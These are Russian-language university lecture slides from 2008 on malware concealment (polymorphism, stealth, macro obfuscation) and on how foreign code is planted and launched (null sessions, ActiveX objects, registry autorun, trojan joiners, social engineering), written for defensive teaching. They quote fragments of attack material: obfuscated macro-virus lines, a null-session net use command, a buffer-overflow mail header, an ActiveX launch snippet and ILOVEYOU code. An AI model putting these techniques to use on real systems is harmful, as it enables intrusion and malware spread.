TXT.vbs (с расчетом на отключение
расширений для зарегистрированных типов)
• Программа создает три своих копии с
разными именами в C:\Windows\[System]
• Записывает свои копии в файлы с расширениями .jpg, .vbs, .sct, .hta, .vbe
Прочие «вредные» программы
• Программы - шутки (часто злые)
• Программы для хищение
идентификационной информации для
работы в Интернет
• Программы для вскрытия парольной
защиты
• DoS-программы (удаленная атака по
блокированию компьютера)
ФЕДЕРАЛЬНОЕ АГЕНТСТВО ПО ОБРАЗОВАНИЮ
Государственное образовательное учреждение высшего профессионального образования
“Уральский государственный университет им. А.М. Горького”
ИОНЦ “Информационная безопасность”
математико-механический факультет
кафедра алгебры и дискретной математики
УЧЕБНО-МЕТОДИЧЕСКИЙ КОМПЛЕКС
Противодействие созданию и распространению
вредоносных программ
Некоторые механизмы маскировки
вредоносных программ
Автор: доцент кафедры алгебры и
дискретной математики В.В. Бакланов
Екатеринбург, 2008
Некоторые механизмы
маскировки
вредоносных программ
Алгоритмы маскировки
вредоносных программ
• Резидентность (постоянное нахождение в
оперативной памяти)
• Stealth-алгоритмы
• Самошифрование и полиморфизм
• Нестандартные приемы
Идентификационные признаки
вредоносных программ
• Статические признаки (признаки
состояния)
• Динамические признаки
(признаки действия)
Способы скрытия вредоносных
программ
• Статическое скрытие - камуфляж
программного кода на время его хранения
в долговременной памяти.
• Динамическое скрытие - маскировка под
иные процессы, скрытое обращение к
ресурсам (файлам, реестру, устройствам)
• Комплексное скрытие - комбинация
методов, когда код программы частично
размещается в оперативной памяти, а
частично - в статической фазе на диске
Способы маскировки во многом
определяются средствами и
возможностями антивирусной
защиты
Организационные меры
антивирусной защиты
• Режим разумной изоляции
• Обязательное использование антивирусных
пакетов AVP, DrWeb со своевременным
обновлением вирусных баз.
• Обязательная проверка всех копируемых и
запускаемых файлов
• Запуск подозрительных программ на
изолированном компьютере
• Отключение загрузки ОС с ГМД и т.д.
Идентификация по сигнатуре
программного кода
BA 27 01 CD 21 C3 43
52 41 4B 20 78 31 AE
AB A5 E3 20 E1 .. ..
Сигнатура - это последовательность
байт, однозначно характерная для
конкретной вредоносной
программы
Сигнатура - это множество N пар
{Pi, Bi}, i = 1...N, где Pi расположение i-го байта, Bi значение i-го байта. На практике
чаще используют непрерывные
сигнатуры, для которых можно
задать длину сигнатуры и
расположение (смещение) для
первого байта
Полиморфизм - форма камуфляжа
статического программного кода,
основанная на его видоизменении
при создании очередной копии,
либо при очередном сохранении на
диск
Особенности полиморфизма
• Является формой камуфляжа статического
программного кода
• Используется исключительно вирусными
программами или генераторами
вредоносных программ
• Цель скрытия - защита от антивирусных
сканеров путем видоизменения очередной
копии или популяции программ с
сохранением их функциональности
Полиморфизм ассемблерного
кода
• Замена программируемых регистров ЦП
• Замена машинных инструкций на
эквивалентные
• Изменение порядка следования
независимых инструкций
• Внедрение случайным образом
зашумляющих инструкций
• Шифрование основного кода с переменным
ключом
Примеры замены исполняемого
кода
• mov op1 op2
• inc op
• add op1, op2
• push op2
pop op1
• add op, 1
• xchg op2, ax
add op1, ax
xchg op2, ax
Перемешивание независимых
инструкций
56 87 А2 FC
E0 DC 3B 81
01
24
Полиморфизм
интерпретируемого кода
• Изменение имени макроса или сценария
• Изменение регистра символов
• Замена объектов, свойств и методов на
эквивалентные
• Замена имен переменных
• Использование зашумляющих инструкций
и комментариев
• Шифрование используемых символов
Вставки «цифрового» мусора
Sub Document_Close()
'SiR DySTyKSDINFECTEDINFECTED.DOC5/22/2001 6:04:06
AM
On Error Resume Next
'SiR DySTyKSDINFECTEDINFECTED.DOC5/22/2001 6:04:06
AM
Options.SaveNormalPrompt = 0
'SiR DySTyKSDINFECTEDINFECTED.DOC5/22/2001 6:04:06
AM
Options.ConfirmConversions = 0
Вставки незначащих
инструкций
Loop While DjFeUOL2kkwJCIE6 < 44:
End If
NextActiveDocument.Save
DwFNV1qyGsV4 = 187
For LU1VyC6 = 8 To 54 Step 3:
If dDGlb7 <> Rnd * 28 Then
PjN7FDkGwkU7 = 9
Do
PjN7FDkGwkU7 = PjN7FDkGwkU7 + 6
Loop While PjN7FDkGwkU7 < 21
End If: Next
ActiveDocument.Close: TzLPGXn3lZ6 = 1
Использование имен переменных в
расширенной ASCII - кодировке
If Left(+y¦, 1) = "'" Then
“y ¦- +aa+¦?+ = “y ¦- +aa+¦?+
+1
Po -A-+-u-Ae+¦ ¤+oon(“y ¦- +aa+¦?+,
1) = Mid(+y¦, 2, Len(+y¦))
Альтернативная замена
инструкций
A(1) = "ActiveDocument"
A(2) = "Word.ActiveDocument"
A(3) = "Application.ActiveDocument"
A(4) = "Word.Application.ActiveDocument"
A(5) = "System.Application.ActiveDocument"
A(6) = "AddIns.Application.ActiveDocument"
A(7) = "Bookmarks.Application.ActiveDocument»
A(8) = "Documents.Application.ActiveDocument"
A(9) = "Word.System.Application.ActiveDocument»
При каждом копировании случайным образом
выбирается один из вариантов
Опасные фрагменты макрокода
•.VBComponents(1).CodeModule.DeleteLines 3, 3
•System.PrivateProfileString
•X = Shell("C:\Command.com /c
•CommandBars(1).Delete
•Application.OrganizerDelete Source:=
•Application.OrganizerCopy Source:=
•Kill .FoundFiles(I)
Опасные фрагменты макрокода
With Options
.VirusProtection = False
End With
•С учетом возможностей использования во вредоносных
макросах инструкций With
- End With или
объектных переменных (Set AD =
ActiveDocument.VBProject.VBComponents(1)
необходимо выделить только те фрагменты, которые
непосредственно содержат угрозу копирования, удаления
информации, либо модификации программного кода
Признаки потенциально опасной
интерпретируемой программы
• Наличие «зашумляющих», нейтральных
инструкций, в т.ч. не отвечающих
назначению программы
• Наличие закомментированного «шума» в
большом объеме
• Строковые операции
• Обращение к модулям собственного кода
или файлу собственного сценария
Самомодифицирующийся код
• Самомодифицирующийся код - программа
или ее фрагмент (процедура, функция,
подпрограмма), которая имеет возможность записи в собственные области кода,
стека и данных в период исполнения.
• В отношении интерпретируемого кода исполняемая последовательность
инструкций одной строки, имеющая
возможность видоизменять свою область
кода (VBA) или текстовый файл сценария
Часть вируса,
занимающаяся
изменением внешнего
вида инструкций
процессору, не меняя
их
функциональности,
называется
мутационным
двигателем
Хорошо написанный
мутационный
механизм,
формирующий
правдоподобный и
разнообразный
полиморфный код,
может стать
кошмаром для
создателей
антивирусов
Выявление опасных
инструкций в
интерпретируемом коде
.CodeModule
представляет собой
Kill
.PrivateProfileString
практически
.DeleteLines
неразрешимую задачу .VirusProtection
Стандартная защита от
вирусов в макросах
сведена к защите от
макросов вообще
Особенности «стелс»-программ
• Скрытие факта своего
присутствия в системе
• Перехват и обработка «опасных»
событий
• Изменение места «дислокации» в
дисковой памяти
• Нейтрализация присутствующих
в системе антивирусных
мониторов
Зависимость опасности
вредоносных программ от времени
Фаза опасности,
обусловленная
обновлением
антивирусных
программ
Фаза опасности, обусловленная
несоблюдением антивирусной
дисциплины
Фаза опасности
программ,
разработанных для
устаревших
аппаратнопрограммных
платформ
t
Эвристический анализ
(греч. heurisco - искать)
• Под эвристикой понимается автоматическая оценка «вирусоподобности» любой
компьютерной программы
• Конкретные эвристические механизмы секреты антивирусных лабораторий
• Антивирус работает в режиме эмуляции
исполнения программы, отслеживая
опасные инструкции, их количество и
очередность исполнения
Идентификация вредоносных
действий программы:
• попытка записи в загрузочный
сектор диска
• попытка удаления большого числа
файлов, каталогов
• запись в исполняемые файлы
• запись в определенные разделы
системного реестра
• прямое обращение к портам вводавывода
• использование механизма
программных прерываний
Недостатки антивирусных
мониторов
•Высокая вероятность ложных тревог
•Значительное замедление работы
компьютера
•Невозможность использования в процессе
разработки и отладки программного
обеспечения
Целесообразно использовать при работе в
Интернет и запуске подозрительных
программ
Этапы программного
противоборства
•
•
•
•
ЗАЩИТА
Сканирование диска в
поисках сигнатуры
Контроль обращений
к загрузочному
сектору диска
Контроль системных
вызовов
Устранение «опасных»
машинных команд
НАПАДЕНИЕ
• Использование
механизма
самошифрования и
полиморфизма
• Использование стелстехнологии
• Механизмы работы
макровирусов
Объекты «притязаний»
вредоносных и защитных
программ
•
•
•
•
Идентификаторы и пароли
Программные прерывания
Системные привилегии
Очередность запуска
Взаимодействие ОС и
антивирусных программ
• Антивирусные программы, как правило,
не обладают системными привилегиями
• Операционная система не позволяет
антивирусной программе выходить за
пределы «дозволенного»
• Антивирусные программы зависят от
обновляемых и присоединяемых банков
данных вредоносных сигнатур, и будучи
включенными в ядро ОС, теряют
возможность обновления
Современные антивирусные
средства
•
•
•
•
Иммунизаторы
Инспекторы изменений
Анализаторы
Блокираторы (BYTE, март 2003 г.,
стр. 74)
ФЕДЕРАЛЬНОЕ АГЕНТСТВО ПО ОБРАЗОВАНИЮ
Государственное образовательное учреждение высшего профессионального образования
“Уральский государственный университет им. А.М. Горького”
ИОНЦ “Информационная безопасность”
математико-механический факультет
кафедра алгебры и дискретной математики
УЧЕБНО-МЕТОДИЧЕСКИЙ КОМПЛЕКС
Противодействие созданию и распространению
вредоносных программ
Защита компьютерной системы от внедрения и
запуска постороннего программного кода
Автор: доцент кафедры алгебры и
дискретной математики В.В. Бакланов
Екатеринбург, 2008
Защита компьютерной
системы от внедрения и
запуска постороннего
программного кода
© Бакланов В.В.
Определения
• Внедрением постороннего
программного кода является
помещение в оперативную или
долговременную память компьютера
кода и/или данных с целью
последующего запуска на исполнение.
• Внедрение кода может
сопровождаться его немедленным,
либо отсроченным запуском, либо
подготовкой к последующему запуску
Пути проникновения
вредоносных программ
• С использованием машинных носителей
• По сети
• Создание на атакуемом компьютере
Виды внедрения (запуска)
• На этапе тестирования или подключения
аппаратуры (основной или расширенный
код BIOS, отображаемый в адресное
пространство памяти)
• На этапе загрузки (с операционной
системой)
• На этапе инсталляции (с новым
программным обеспечением)
• Через загрузочную область МНИ
• Через сетевые интерфейсы
Условия, способствующие внедрению и
запуску постороннего программного кода
• Огромное пространство
угроз
• Значительная сложность компьютерных
систем, которые пользователь не в силах
контролировать
• Многочисленные настройки безопасности
• Режимы и настройки «по умолчанию»,
установленные разработчиками ПО
Классификация этапов запуска
• Запуск команд на атакуемом компьютере,
поддерживаемых имеющимися
командными оболочками и утилитами с
целью ликвидации установленных
защитных механизмов
• Внедрение постороннего программного
кода или системных данных
• Запуск внедренного кода на исполнение
• Подготовка внедренного кода к
неизбежному или случайному запуску
Классификация способов
внедрения и запуска ППК
• Запуск программ, имеющихся в составе
компьютерной системы для совершения
деструктивных действий или
нейтрализации защитных механизмов
• Создание программы на атакуемом
компьютере (с консоли или в режиме
удаленного терминала) с немедленным или
отложенным запуском на исполнение
• Внедрение программного кода в
исполняемом файле, сценарии, документе
Классификация способов
внедрения и запуска ППК
• Использование обмана или
некомпетентности пользователя для
загрузки и запуска опасного кода
• Подготовка внедренного программного
кода к безусловному или случайному
запуску
• Внедрение и запуск программ с
использованием нуль-сессий
• Использование клиент-серверных методов
внедрения и запуска
Защита от некоторых способов
внедрения и запуска программ
через сетевые протоколы и
службы
Классификация способов
сетевого внедрения
• Использование сетевых протоколов и служб,
установленных и запускаемых по умолчанию
(NetBEUI и др.), обрабатывающих без уведомления
пользователя внешние клиентские запросы с
возможностью записи файлов в память локального
компьютера
• Применение интегрированных в ОС средств
удаленного мониторинга и управления (SNMP, WMI)
• Использование сетевых протоколов верхнего уровня
(электронная почта, гипертекстовые документы)
Программный доступ к Windows *
с помощью нуль-сессий
• Нуль-подключение с пустыми паролем и именем
пользователя:
net use\\125.123.72.1\IPC$ «» /USER: «»
• После сообщения об успешном подключении
просмотр списка сетевых ресурсов
net view\\125.123.72.1
• Подключение сетевого диска
net use x: \\125.123.72.1\доступный ресурс
• Использование утилит для дальнейшего доступа
к файлам и реестру
Атака против почтовых программ
Outlook, Outlook Express с
переполнением буфера
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
Date: Sun, 7 May 2003 11:20:46 + [~1000 байт + код в
шестнадцатиричном формате или ASCII]
Subject: Date overflow!
Причина переполнения буфера - библиотека
Incetcomm.dll, запускаемая через протоколы POP3,
IMA4.
Внедрение и запуск кода с
помощью элементов ActiveX
• Элементы управления ActiveX могут
исполняться только при наличии в ОС
соответствующих серверов сценариев
• Регистрация серверов сценариев
осуществляется через системный реестр
• Настройками браузеров и почтовых
программ можно отключить возможность
запуска сценариев, но тем самым
исключаются многие полезные и
наглядные возможности Web-дизайна
Виды атак с использованием
элементов ActiveX
• Использование уже зарегистрированных
серверов сценариев с опасными
свойствами, но с отметками безопасности
(safe for scripting)
• Внедрение опасных серверов сценариев с
использованием изъянов в защите или
фальшивых электронных подписей
• Загрузка опасных серверов под видом
обновленных версий уже
зарегистрированных программ
Встраивание объектов ActiveX
в HTML-документы
<HTML><BODY>
<OBJECT
classid=“clsid:1A771020-A28E-11CF-851000AA003B6C7E”
id=Module
codebase=URL
data=URL>
</OBJECT>
</BODY></HTML>
Элементы дескриптора <OBJECT>
• ID - имя, идентифицирующее объект в
сценарии
• CLASSID - уникальный идентификатор
объекта из реестра Windows
• CODEBASE - указывает URL для файлов
OCX или CAB, если объект необходимо
предварительно загрузить
• DATA - указывает URL-адрес данных,
которые требуются для объекта
Использование серверов
автоматизации в HTML-файлах
<OBJECT
classid="CLSID:0D43FE01-F093-11CF-894000A0C9054228"
id=Scripting.FileSystemObject>
</OBJECT>
<OBJECT
classidd="CLSID:13709620-C279-11CE-A49E444553540000"
id=Shell.Application>
</OBJECT>
Варианты запуска кода в
гипертекстовых документах
<SCRIPT FOR=ИмяЭлемента
EVENT=Событие LANGUAGE=VBScript
Текст процедуры обработки события
</SCRIPT>
<SCRIPT LANGUAGE=“VBScript”>
Sub Command1_Cluck
Текст событийной процедуры
End Sub
</SCRIPT>
Варианты запуска кода в
гипертекстовых документах
<FORM>
<INPUT NAME=“btnButton”
TYPE=“BUTTON” VALUE=“Click Me”
onClick=‘MsgBox «Нажми кнопку»’
LANGUAGE=“VBScript”>
</FORM>
Этапы работы браузера при
наличии объекта ActiveX
• Браузер проверяет, есть ли в реестре CLSID,
указанный в тэге-контейнере <OBJECT>
• При наличии проверяется подключ Implemented
Categories на предмет наличия идентификаторов
7DD95801..., 7DD95802
• Указанные идентификаторы в реестре отмечены
как безопасные
• Если компонент ActiveX безопасен, он
запускается и ему передается интерпретируемый
код из HTML-документа
Этапы работы браузера при
наличии объекта ActiveX
• Если компонент ActiveX не безопасен, его запуск
производится в зависимости от установленного
уровня защиты
• Если код CLSID в реестре не найден, браузер
обращается к сетевому ресурсу, указанному в
параметре CODEBASE и загружает необходимый
компонент ActiveX
• Проверяется наличие электронной подписи
компонента
• Если программа вызывает доверие, она
регистрируется в реестре.
Нахождение CLSID
Реализованные категории
Компоненты категорий
• Эти компоненты ActiveX
на Вашем компьютере
могут оказаться
помеченными, как
безопасные для запуска!
• Excel
• PowerPoint
• Scriptlet.typelib
• EYEDOG OLE
Запуск программ с помощью
ненулевого параметра CLSID
<HTML><BODY>
<OBJECT CLASSID=‘CLSID:10000000-0000-0000-0000000000000000’ CODEBASE=‘C:\Windows\calc.exe’>
</OBJECT>
</BODY></HTML>
Предполагается возможным запустить из браузера или
почтовой программы любой исполняемый файл на
локальном компьютере с необходимыми параметрами.
Способ срабатывает при низком уровне безопасности и
не во всех случаях
Загрузка базы данных Access
<OBJECT data=«http//www.abc.com/db3.mdb»
id=«d1»></OBJECT>
• Загружается база данных
• Для ее открытия вызывается приложение
Access
• Макрокод, содержащийся в базе данных,
исполняется
• Только после загрузки Access пользователь
получает сообщение о потенциальной
опасности
Настройки
безопасности браузеров
и почтовых программ
Для зоны
Интернет
целесообразно
отключать
элементы
ActiveX
Для зоны
надежных
узлов можно
устанавливать
нижний или
средний
уровень
безопасности
Безопасность
браузеров
Безопасность браузеров
Безопасность браузеров
Рассылка почтовых отправлений с
вложимым из адресной книги Outlook
• Атака основана на использовании низких
порогов защиты для сообщений,
поступивших из надежных источников (от
родных, знакомых и др.)
Фрагмент из программы ILOVEYOU
Set out=Wscript.CreateObject(“Outlook.Application”)
Set mapi=out.GetNameSpace(“MAPI”)
For ctrlists=1 To mapi.AdressLists.Count
Set a=mapi.AdressLists(ctrlists)
Если представить вредоносную
программу живым организмом,
то единственной формой ее
жизни будет запуск «на
исполнение», что означает
управление компьютером от
имени его «мозга» центрального процессора
Способы запуска вредоносных
программ
Пользователем в
интерактивном
режиме
Дистанционно
с помощью
клиентской
программы
Автоматически
при запуске
операционной
системы и
приложений
Последовательность
функционирования КС
• Включение питания
• Тестирование
• Поиск расширений BIOS - при
их наличии управление
передается на них
• Передача управления на
первый сектор загрузочного
диска
• Загрузка операционной
системы
Последовательность загрузки
Процедура POST
Расширения BIOS
Код загрузчика
Удаленная загрузка
Загрузка ППК из энергонезависимой
памяти (BIOS)
• Загрузка производится на этапе самотестирования
(POST) оборудования или динамического подключения
нового устройства (PnP)
• Первоначальное внедрение кода в BIOS материнской
платы или УВВ предполагает их программирование (с
доступом внутрь системного блока или сменному
устройству, или инфицирование Flash-памяти)
• Загрузка и исполнение кода связаны со значительными
сложностями (операционная система еще не загружена,
оперативная память не распределена, файловой
системы еще нет)
• Код BIOS имеет неограниченные возможности по
управлению устройствами
Способы запуска программ
• Во время процедуры POST (Power On Self
Test) - исполняемый код должен
располагаться в адресном пространстве
BIOS
• При загрузке операционной системы
(очередность загрузки либо жестко
фиксирована в файлах ядра, либо задается
в записях системного реестра)
Загрузка нарушителем
на атакуемый
компьютер своей
операционной
системы - тоже
разновидность
глобального
внедрения
постороннего
программного кода
Подготовка программы к
запуску на исполнение
• Постановка в «системную очередь» на
запуск при загрузке операционной
системы (через системный реестр,
системные файлы, каталоги автозагрузки)
• Камуфляж внедренного кода под другую
программу, привычно и часто
запускаемую пользователем
Автоматический запуск файлов
• При наличии у файла определенного
имени и типа (autoexec.bat). Имя файла в корневой директории
• При наличии файлов с определенным
расширением в определенном каталоге
(.asd в папке TEMP, .dot в папке
Автозагрузка Office, .exe в папке
Автозагрузка Windows)
• При записи имени исполняемого файла в
определенных строках реестра или файла
инициализации.
Запуск программ через реестр
• Если ключ Run (RunOnce)
разместить в HKLM,
операционная система
запустит приложение перед
своим запуском
• Записи в HKLM
распространяют свое
действие на всех
пользователей компьютера
Автоматический запуск программ
Однократный запуск программ
• Однократный запуск
производится через ключ
реестра RunOnce
• При запуске системы
команды в ключе RunOnce
выполняются, и этот ключ
удаляется (аналогично
может сделать вредоносная
программа, запустившись
из любого места и удалив
ключ реестра)
Автоматический запуск
программ
Здесь может
располагаться
имя твоего
исполняемого
файла!
Обеспечить автоматический запуск на
исполнение можно и с помощью
системных файлов, используемых для
совместимости со старыми версиями ОС
Ассоциативный запуск программ
Автозапуск при
запуске любой
исполняемой
программы
Автоматический запуск программ
Автоматический запуск
программ с CD ROM
• На оптическом диске должен
присутствовать текстовый
файл с названием AutoRun.inf
• В этом файле должна быть
предусмотрена строка
• [autorun]
• open = filename (полное имя
исполняемого файла,
сценария, командного файла и
др.)
Windows 98/Me постоянно
опрашивает дисковод с CD ROM
для определения момента
помещения в него компактдиска. Когда это происходит,
проверяется наличие файла
Autorun.ini. В строке Open=
этого файла указываются
программы для автоматического
запуска. Эти программы
запускаются даже во время
вывода программной заставки
Во избежание
случайного запуска
вредоносных
программ и
возможности
снятия экранной
заставки этот
параметр
необходимо
отключить
Отключение функции AutoRun
для CD ROM в Windows 2000
• HKLM\System\CurrentControlSet\Services\
Cdrom
• AutoRun=0
«Ручной» запуск программ
• Является основным способом первичного
запуска постороннего программного кода
• Основан на субъективных качествах
человека-пользователя (доверчивости,
невнимательности, усталости,
небрежности, ошибках и т.д.)
• Возможен по отношению к потенциально
опасным программам в самой компьютерной системе, при работе с внешними
машинными носителями, и в Интернет
Файлы, опасные для запуска
в ОС Windows *
•
•
•
•
•
•
Файлы приложений (*.exe, *.com)
Командные файлы (*.cmd, *.bat)
Файлы символьных связей (*.lnk, *.pif)
Файлы сценариев (*.js, *.vbs, *.pls)
Импорт реестра (*.reg, *.key)
Документы и шаблоны (*.doc, *.dot, *.wbk,
*.asd, *.dothtml, *.xls, *.xlw, *.pps и др.)
• Экранные заставки (*.scr)
Предлоги для запуска программ
• «Ускорители»
процессора и памяти
• Ускорители браузера
• Программы с
номерами кредитных
карточек
• Программы,
обеспечивающие
защиту от чего угодно
Хакер №4/Y2k. «Как мне впарили трояна»
Социальная инженерия
«В условиях российских телефонных
сетей работать в Интернет практически
невозможно. Требуется корректировка и
фильтрация сигналов. Учитывая
множественные просьбы и заявления
пользователей Интернет, оборонной
промышленностью был разработан
радикально новый метод очистки
телефонных линий, заключенный в
небольшую программу. Теперь вы
сможете значительно ускорить работу в
Интернет, достигнув небывалого
качества связи - 115 кБ/сек.»
Социальная инженерия
В данном сообщении используется
набор символов, который не
поддерживается используемой
службой Интернет. Чтобы
просмотреть содержимое
первоначального сообщения,
откройте вложенное сообщение.
Если текст отображается
некорректно, сохраните вложение
на диске, а затем откройте его с
помощью программы просмотра,
котопая может отобразить
первоначальный набор символов
Социальная инженерия
«Перцы! Короче, предисловие такое... Я рыскал по сети в
поисках каких-нибудь твикеров для карточек Ndivia. Просто
поставил себе “Mafia”, а при 1024х768 и всех настройках
тормозит прилично (у меня Geforce 2MX 64 мега). Ну вот,
наткнулся на прогу nvidiatweaker на ккаком-то буржуйском
сайте, скачал и ОФИГЕЛ! Прога виндовая и весит 300 кБ.
После запуска можно выбрать оптимальную частоту для
КОНКРЕТНО твоей карты. То есть она дает тебе выбрать
только из того, что точно будет работать без багов. Плюс она еще
что-то оптимизирует, но эта инфа уже для спецов в этой области.
Так вот. Этот сайт накрылся, и теперь там твикера нету,
пробовал искать на filesearch.ru, тоже без результатов. Тогда я
решил создать на бесплатном хостинге сайт и выложить. Что и
сделал. Вот линк: www.videohelp.boom.ru/soft/nvidiatweaker.exe.
Под XP пашет... Удачи в юзании!»
Пиплы, не стоит
юзать всякую прогу,
которую вы
сливаете с Инета !
«Ручные» способы запуска
• Основаны на введение пользователя в
заблуждение относительно назначения файла
• Запуск с подставным ярлыком
• Запуск с подставной иконкой (при скрытии
показа расширения файла)
• Запуск с использованием измененных
ассоциаций между типом файла-документа и
запускаемым приложением
• Запуск с использованием имени файла с
длинным пробелом (в окне браузера)
Манипулятор «мышь»
явно перегружен
обязанностями: одним и
тем же действием можно
получить различные
результаты:
- открыть каталог
- запустить исполняемый
файл
- открыть документ
Пример исполняемого файла с
длинным именем
Символьные связи («мягкие
ссылки»
• Присутствуют в семействах ОС Windows *
и Unix
• В ОС Windows * представлены в виде
ярлыков
• При создании символической ссылки не
запрашиваются права на файл
• При удалении или перемещении файла
ссылка продолжает указывать на
несуществующий объект
Использование механизма
ссылок на файлы
• В символической ссылке содержится
полное имя файла-объекта. При указании в
ярлыке только имени файла он
дополняется оболочкой Explorer до полного
пути
• Ярлык в Windows * должен ссылаться на
существующий файл. Если в окне
«Объект» ярлыка задано имя (полное или
короткое) несуществующего файла,
Explorer выводит сообщение об ошибке
Использование механизма
ссылок на файлы
• Проверка ярлыков на существование
объектов происходит только в процессе
создания ярлыка. Если файл будет удален,
проверять записи в существующих
ярлыках уже никто не будет (для проверки
правильности ссылки потребуется
открыть «Свойства» ярлыка и вновь
закрыть окно)
Особенности ссылок в GUI
• Ссылка представляет собой ярлык в
рабочем окне (или на рабочем столе), а так
же пункт меню кнопки «Пуск».
• Обычный ярлык имеет пиктограмму
(иконку), совпадающую с пиктограммой
объекта, на который он ссылается
(пиктограмма создается при генерации
ярлыка). Но после создания ярлыка его
иконку и надпись можно произвольно
изменить.
Особенности ссылок в GUI
• Демаскирующий признак
ярлыка - наличие
маленькой стрелки около
пиктограммы. Можно
одновременно удалить
стрелки со всех ярлыков с
использованием
редактора системного
реестра или скрипта,
модифицирующего
реестр.
Удаление этого
параметра приводит к
удалению (после
перезагрузки ОС)
стрелок на всех
ярлыках Рабочего стола
и окон.
«Троянские»
оболочки
Отличительные признаки
«троянских» программ
• «Троянская» оболочка, как правило,
является обычным исполняемым файлом
или динамической библиотекой,
предназначенными для выполнения
вполне полезных функций
• В качестве «троянской» оболочки
злоумышленник подбирает программу,
имеющую привлекательность для
пользователя
Функции «троянских» программ
• Скрытая «доставка» вредоносной
программы к месту ее постоянной
«дислокации»
• Однократный скрытый запуск вредоносной
программы в процессе инсталляции и/или
распаковки «троянской» программы
• Предоставления места для постоянного
размещения вредоносной программы
Сборка «троянской» программы
Файл 3
Файл 2
Заголовок
Файл 1
Joiner, One
EXE Maker
2000 и др.
Программы - джойнеры
Распаковка «троянской»
программы
Распаковщик
1
2
Процессы
3
Сжатие исполняемых файлов
• Сжатие
исполняемого файла
производится с
целью скрытия
известной сигнатуры
кода
• Распаковка файла
происходит в
оперативной памяти,
выделенной
процессу
Программы сжатия исполняемых
файлов
Запуск программ-двойников
• Идея запуска заключается в том,
чтобы разместить внедренный
файл в нужный каталог и
присвоить ему такое имя и тип
(расширение), чтобы
операционная система загружала
его вместо некоторого
оригинального файла.
• Предполагается, что
оригинальный файл запускается
постоянно или достаточно часто
Используемые алгоритмы и
правила ...
• В файловой системе могут присутствовать
одинаковые имена файлов и каталогов
(«двойники»)
• Если задан абсолютный путь к файлу, то
его поиск не проводится, а только
уточняется его наличие
• При задании относительного имени файла
его запуску предшествует поиск по дереву
каталогов
Используемые алгоритмы и
правила ...
• Алгоритм поиска задается фиксировано
или может изменяться (в переменной
окружения Path)
• После первого найденного совпадающего
имени поиск прекращается и найденный
файл запускается
• Имеется несколько типов исполняемых
(интерпретируемых) файлов, для которых
не обязательно указывать тип
(расширение) - .com .exe .cmd .bat
Способы запуска
• Помещение файла- «двойника» в каталог,
который проверяется в первую очередь
(если есть права на запись в такой
каталог)
• Изменение очередности поиска файлов
(путем изменения переменной окружения
Path)
• Блокирование поиска файла-оригинала
Документ
Категория
Презентации по информатике
Просмотров
114
Размер файла
6 239 Кб
Теги
1/--страниц
Пожаловаться на содержимое документа